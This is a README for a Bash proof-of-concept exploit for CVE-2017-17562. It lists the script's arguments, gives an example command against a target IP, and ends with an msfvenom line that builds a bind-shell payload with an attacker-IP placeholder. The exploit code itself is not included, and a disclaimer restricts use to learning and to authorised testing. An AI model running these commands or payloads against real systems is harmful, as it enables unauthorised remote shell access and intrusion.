bash-CVE-2017-17562
An PoC implementation in Bash for CVE-2017-17562.
Requires curl for crafting HTTP requests.
Based on Metasploit and @fssecur3 implementations.
Arguments
The following arguments need to be set as they are required for reconnaissance + payload send:
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
Optionally, the following arguments can also be set:
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
Example
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
Disclaimer
The present code is only for learning and demonstration purposes. You shall not use this in to targets you do not have permission to do so.
No payloads are provided in this repository. However any binary that matches target OS architecture should work. To craft a bind shell payload, you can use msfvenon:
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so